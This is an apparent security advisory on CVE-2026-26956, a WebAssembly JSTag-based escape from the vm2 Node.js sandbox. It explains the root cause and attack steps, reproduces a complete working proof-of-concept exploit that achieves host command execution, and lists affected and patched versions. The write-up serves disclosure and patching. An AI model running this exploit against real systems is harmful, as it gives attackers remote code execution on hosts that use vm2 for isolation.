Introduction
A single WebAssembly instruction is enough to bypass vm2's sandbox and run arbitrary code on the host. CVE-2026-26956, scored at CVSS 9.8, shows that vm2's JavaScript-level isolation model has a blind spot that sits below the language runtime itself.
vm2 is an open source sandboxing library for Node.js that lets developers run untrusted JavaScript in an isolated context. With 898 npm dependents and hundreds of thousands of weekly downloads, it is one of the most widely used sandboxing solutions in the Node.js ecosystem. It is commonly embedded in platforms that evaluate user-submitted code, in plugin systems, and in serverless function runners.
Technical Information
Root Cause
vm2's sandbox security rests on two JavaScript-level mechanisms:
- Code transformer: Injects
handleException()calls into allcatchclauses within sandboxed code, so any exception objects are sanitized before the guest code can inspect them. - Bridge Proxies: Wrap cross-context objects so that guest code cannot directly access host realm references.
Both defenses operate entirely within the JavaScript layer. The root cause of CVE-2026-26956 is that WebAssembly's try_table instruction with a JSTag catch handler intercepts JavaScript exceptions at V8's C++ level, below JavaScript. vm2's code transformer never gets a chance to sanitize the caught exception, and the bridge Proxies are never consulted.
The vulnerability is classified under CWE-693 (Protection Mechanism Failure), which fits the situation: the protection mechanism exists but can be circumvented entirely by operating at a lower abstraction layer.
Attack Flow
The exploitation chain runs through several defined stages:
Step 1: Trigger a host realm TypeError. The attacker creates an Error object inside the sandbox and sets its name property to a Symbol(). When err.stack is accessed, V8 internally tries to coerce the Symbol to a string during stack trace formatting, which produces a TypeError. This TypeError is created in the host realm, not the sandbox realm.
Step 2: Catch the error via WebAssembly JSTag. The attacker constructs a WebAssembly module containing a try_table instruction with a JSTag catch handler. The module imports a JavaScript trigger function that forces the TypeError (by accessing err.stack), and also imports WebAssembly.JSTag as the tag to catch. When the trigger function throws, the try_table catches the JavaScript exception at the V8 C++ level and returns it as an opaque externref value, which is then returned as a normal function return value from the exported WASM function.
Step 3: Traverse the constructor chain. The returned externref is the unsanitized host realm TypeError. The attacker accesses hostError.constructor.constructor, which resolves to the host realm's Function constructor. Calling hostError.constructor.constructor("return process")() returns the host process object.
Step 4: Achieve RCE. With the host process object, the attacker calls p.mainModule.require("child_process").execSync("id") or any other system command, achieving full remote code execution on the host.
The chain requires no privileges, no user interaction, and operates over a network attack vector with low complexity.
The WebAssembly Module
The binary WebAssembly module used in the exploit is compact. It defines:
- An import for
env.trigger(the JavaScript function that forces the TypeError) - An import for
js.tag(bound toWebAssembly.JSTag) - A single exported function
catch_errorthat wraps the trigger call in atry_tablewith a JSTag catch clause
This is a legitimate use of the WebAssembly exception handling proposal, which makes it hard to defend against without explicitly blocking WebAssembly.JSTag in the sandbox.
Proof of Concept
A working proof of concept was published directly in the GitHub security advisory GHSA-ffh4-j6h5-pg66 by researcher @0x5t. Here is the complete PoC:
const { VM } = require("vm2"); console.log("vm2:", require("vm2/package.json").version, "| node:", process.version); new VM().run(` const before = typeof process; const err = new Error("x"); err.name = Symbol(); const wasm = new Uint8Array([\ 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,\ 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,\ 0x02,0x19,0x02,\ 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,\ 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,\ 0x03,0x02,0x01,0x01,\ 0x07,0x0f,0x01,\ 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,\ 0x0a,0x12,0x01,0x10,0x00,\ 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b\ ]); const instance = new WebAssembly.Instance( new WebAssembly.Module(wasm), { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } } ); const hostError = instance.exports.catch_error(); const p = hostError.constructor.constructor("return process")(); const id = p.mainModule.require("child_process").execSync("id").toString().trim(); const log = p.mainModule.require("console").log; log(""); log("process before escape:", before); log("process after escape: ", typeof p); log("host pid: ", p.pid); log("host node version: ", p.version); log("RCE: ", id); `);
The advisory includes output confirming code execution as root:
> node poc.js
vm2: 3.10.4 | node: v25.6.1
process before escape: undefined
process after escape: object
host pid: 217
host node version: v25.6.1
RCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
The PoC requires vm2 v3.10.4 and Node.js v25+ with WebAssembly exception handling and JSTag support.
Affected Systems and Versions
The vulnerability affects this specific configuration:
- vm2 version 3.10.4 is confirmed vulnerable
- Node.js v25.6.1 is the confirmed exploitation environment
- The exploit requires a Node.js version that supports WebAssembly exception handling and the
JSTagAPI (Node.js 25 and later) - The vulnerability is patched in vm2 version 3.10.5
Environments running vm2 3.10.4 on Node.js versions before 25 are not affected by this escape vector, since those versions do not support WebAssembly.JSTag. Version 3.10.5 also addresses several other sandbox escape vectors unrelated to WebAssembly, so upgrading is worthwhile regardless of Node.js version.
Vendor Security History
This is not the first critical sandbox escape disclosed for vm2 in 2026. Earlier in the year, CVE-2026-22709 was identified in version 3.10.0, involving a gap in Promise callback sanitization that also led to a critical sandbox escape enabling arbitrary code execution. The repeated discovery of these complex escape vectors points to a hard underlying problem: holding a JavaScript-level sandbox against an expanding language and runtime surface (WebAssembly, new error types, new introspection APIs). The vm2 maintainers have been responsive in patching, but organizations relying on vm2 for high-assurance isolation should weigh whether to add defense layers or move to a different isolation approach, such as process-level or OS-level sandboxing.



